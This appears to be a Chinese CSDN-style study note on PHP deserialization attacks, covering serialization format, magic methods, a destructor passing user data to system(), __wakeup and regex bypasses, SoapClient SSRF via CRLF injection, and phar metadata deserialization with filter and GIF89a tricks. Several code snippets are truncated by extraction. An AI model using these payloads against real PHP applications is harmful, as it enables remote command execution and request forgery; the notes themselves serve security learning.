php反序列化java_php反序列化

php反序列化相关知识的笔记

一、简介

意义在于能把一个结构抽象的东西转变为易于传输的字符串,如数组、对象。

serialize($a):把$a序列化

unserialize($a):把$a反序列化

类型(:长度):内容 ,例如:

serialize(“aaaaa”) ---> s:5:"aaaaa";serialize(123) ---> i:123;serialize(True) ---> b:1;serialize(array('a'=>'b')) --> a:1:{s:1:"a";s:1:"b";}

序列化后的内容只有成员变量,没有成员函数。如下:

shellydeMacBook-Pro:~ shellyzhang$ cat 2.php<?php

class test{

public $a;

public $b;function __construct(){$this->a = "abc";$this->b="efg";}function abc(){return $this->a;}

}

$a=new test();echoserialize($a);?>

shellydeMacBook-Pro:~ shellyzhang$ php 2.php

O:4:"test":2:{s:1:"a";s:3:"abc";s:1:"b";s:3:"efg";}

protected型会在变量名前加上\x00*\x00,private型会在变量名前加上\x00类名\x00,输出时记得url编码。如下:

shellydeMacBook-Pro:~ shellyzhang$ cat 2.php<?php

class test{

protected $a;

private $b;function __construct(){$this->a = "abc";$this->b="efg";}

}

$a=new test();echourlencode(serialize($a));?>shellydeMacBook-Pro:~ shellyzhang$ php 2.php

O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D

shellydeMacBook-Pro:~shellyzhang$

shellydeMacBook-Pro:~ shellyzhang$ python3 -c "import urllib.parse;print(urllib.parse.unquote('O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A3%3A%22abc%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A3%3A%22efg%22%3B%7D'))"O:4:"test":2:{s:4:"*a";s:3:"abc";s:7:"testb";s:3:"efg";}

二、漏洞成因

php的魔术方法中含有或会调用到危险的函数,同时函数变量又是用户可控的。如下,需要注意的是,__destruct的工作目录会被切换为系统根目录:

shellydeMacBook-Pro:~ shellyzhang$ cat 2.php<?php

class test{

public $a;function__destruct(){

system($this->a);

}

}

unserialize('O:4:"test":1:{s:1:"a";s:3:"pwd";}');?>shellydeMacBook-Pro:~ shellyzhang$ php 2.php/Users/shellyzhang

常用的php魔术方法,如下:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用 如:$a->xxx();

__get(),获得一个类的成员变量时调用 如:$a->xxx;

__set(),设置一个类的成员变量时调用

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法 如:echo $a;

__invoke(),调用函数的方式调用一个对象时的回应方法 $a();

三、反序列化绕过

1、绕过字符过滤

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}

可以写成

O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"efg";}

表示字符类型的s大写时,会被当成16进制解析。

2、绕过__wakeup

CVE-2016-7124

PHP5 < 5.6.25

PHP7 < 7.0.10

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

如下:

<?phpclasstest {public $a;function__wakeup(){$this->a='';

}function__destruct(){system($this->a);

}

}unserialize('O:4:"test":2:{s:1:"a";s:3:"pwd";}');?>

3、绕过部分正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头

1. serialize(array($a));//$a为要反序列化的对象

序列化结果开头是a,不影响作为数组元素的$a的析构

2. O:+3:”aaa”....

利用加号绕过(注意在url里传参时+要编码为%2B)

4、利用引用

将$c设置为$b的引用,$test->c = &$test->b,可以使$c永远与$b相等

classtest{public $a;public $b;public $c;function__destruct(){$this->b='xxxxxx';if($this->c===$this->b){system($this->a);

}

}

}

四、PHP原生类反序列化(soap)

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93');$b = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "notExistFunction"));$aaa = serialize($b);$aaa = str_replace('^^',"\r\n",$aaa);$aaa = str_replace('&','&',$aaa);echo urlencode($aaa);

五、phar反序列化

phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

参考:

知道创宇测试后受影响的函数列表:

c9a2187322de4ad967f31cff4d4f2d4a.png

基本poc如下,可使用此poc生成phar文件:

}

@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = newTestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();?>

相关绕过:

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';

$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。

php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过

1、$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub

2、生成一个phar.phar,修改后缀名为phar.gif

一个简单的例子:phar.php

}$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = newTestObject();$o -> name='test'; //控制TestObject中的name变量为Threezh1

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();?>

index.php

{echo $this ->name;

}

}if ($_GET["file"]){file_exists($_GET["file"]);

}?>

使用php phar.php生成phar.phar文件。

访问:http://127.0.0.1/index.php?file=phar://phar.phar

返回:test。 反序列化利用成功。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值